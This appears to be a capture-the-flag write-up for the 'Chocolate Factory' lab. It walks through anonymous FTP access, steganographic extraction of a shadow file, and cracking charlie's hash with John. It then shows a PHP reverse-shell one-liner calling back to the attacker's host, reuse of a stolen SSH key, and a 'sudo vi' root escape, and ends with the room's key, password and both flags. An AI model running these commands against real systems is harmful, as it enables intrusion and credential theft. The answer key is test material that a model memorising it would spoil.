# Chocolate Factory

#### rustscan

> found port 21 ftp, port 22 ssh, port 80 http and more

#### ftp

```anonymous
ftp 10.10.10.71
```

> Connected to 10.10.10.71. 220 (vsFTPd 3.0.3) Name (10.10.10.71:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||21456|) 150 Here comes the directory listing. -rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum\_room.jpg 226 Directory send OK. ftp> get gum\_room.jpg local: gum\_room.jpg remote: gum\_room.jpg 229 Entering Extended Passive Mode (|||52109|) 150 Opening BINARY mode data connection for gum\_room.jpg (208838 bytes). 100% |\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*| 203 KiB 115.47 KiB/s 00:00 ETA 226 Transfer complete. 208838 bytes received in 00:02 (95.84 KiB/s) ftp> exit 221 Goodbye.

#### steghide

```blank
steghide extract -sf gum_room.jpg 
```

```
cat b64.txt | base64 -d
```

> daemon:_:18380:0:99999:7::: bin:_:18380:0:99999:7::: sys:_:18380:0:99999:7::: sync:_:18380:0:99999:7::: games:_:18380:0:99999:7::: man:_:18380:0:99999:7::: lp:_:18380:0:99999:7::: mail:_:18380:0:99999:7::: news:_:18380:0:99999:7::: uucp:_:18380:0:99999:7::: proxy:_:18380:0:99999:7::: www-data:_:18380:0:99999:7::: backup:_:18380:0:99999:7::: list:_:18380:0:99999:7::: irc:_:18380:0:99999:7::: gnats:_:18380:0:99999:7::: nobody:_:18380:0:99999:7::: systemd-timesync:_:18380:0:99999:7::: systemd-network:_:18380:0:99999:7::: systemd-resolve:_:18380:0:99999:7::: \_apt:_:18380:0:99999:7::: mysql:!:18382:0:99999:7::: tss:_:18382:0:99999:7::: shellinabox:_:18382:0:99999:7::: strongswan:_:18382:0:99999:7::: ntp:_:18382:0:99999:7::: messagebus:_:18382:0:99999:7::: arpwatch:!:18382:0:99999:7::: Debian-exim:!:18382:0:99999:7::: uuidd:_:18382:0:99999:7::: debian-tor:_:18382:0:99999:7::: redsocks:!:18382:0:99999:7::: freerad:_:18382:0:99999:7::: iodine:_:18382:0:99999:7::: tcpdump:_:18382:0:99999:7::: miredo:_:18382:0:99999:7::: dnsmasq:_:18382:0:99999:7::: redis:_:18382:0:99999:7::: usbmux:_:18382:0:99999:7::: rtkit:_:18382:0:99999:7::: sshd:_:18382:0:99999:7::: postgres:_:18382:0:99999:7::: avahi:_:18382:0:99999:7::: stunnel4:!:18382:0:99999:7::: sslh:!:18382:0:99999:7::: nm-openvpn:_:18382:0:99999:7::: nm-openconnect:_:18382:0:99999:7::: pulse:_:18382:0:99999:7::: saned:_:18382:0:99999:7::: inetsim:_:18382:0:99999:7::: colord:_:18382:0:99999:7::: i2psvc:_:18382:0:99999:7::: dradis:_:18382:0:99999:7::: beef-xss:_:18382:0:99999:7::: geoclue:_:18382:0:99999:7::: lightdm:_:18382:0:99999:7::: king-phisher:_:18382:0:99999:7::: systemd-coredump:!!:18396:::::: \_rpc:_:18451:0:99999:7::: statd:_:18451:0:99999:7::: \_gvm:_:18496:0:99999:7::: charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se61FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/:18535:0:99999:7:::

#### john

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=sha512crypt
```

\==cn7824 (charlie) ==

#### gobuster

```
gobuster dir --url http://10.10.10.71 -w /usr/share/wordlists/dirb/common.txt -t 60 -k -x py,html,txt,php,tar,zip,old,bak
```

> /home.php (Status: 200) \[Size: 569]

> we got command injection on this page

```
php -r '$sock=fsockopen("10.18.1.00",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

`kali machine`

```
rlwrap nc -nlvp 4444
```

```
script -qc /bin/bash /dev/null
```

```
strings key_rev_key
```

> Enter your name: laksdhfas congratulations you have found the key:\
> b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=' Keep its safe

```
cat validate.php
```

`if($uname=="charlie" && $password=="cn7824")`

```
cat teleport
```

> copy id\_rsa to kali machine

```
nano charlie_key
```

```
chmod 600 charlie_key
```

#### ssh

```
ssh -i charlie_key charlie@10.10.10.71 
```

```
cat /home/charlie/user.txt
```

#### priv esc

```
sudo -l
```

\==(ALL : !root) NOPASSWD: /usr/bin/vi==

```gtfobins
sudo vi -c ':!/bin/sh' /dev/null
```

```
cd /root
```

```key
python root.py
```

`enter key found`

> print(mess)# python root.py Enter the key: b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='

***

* Enter the key you found!_b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='_
* What is Charlie's password?_cn7824_
* change user to charlie _No answer needed_
* Enter the user fla&#x67;_&#x66;lag{cd5509042371b34e4826e4838b522d2e}_
* Enter the root fla&#x67;_&#x66;lag{cec59161d338fef787fcb4e296b42124}_

\[\[Cyborg]]
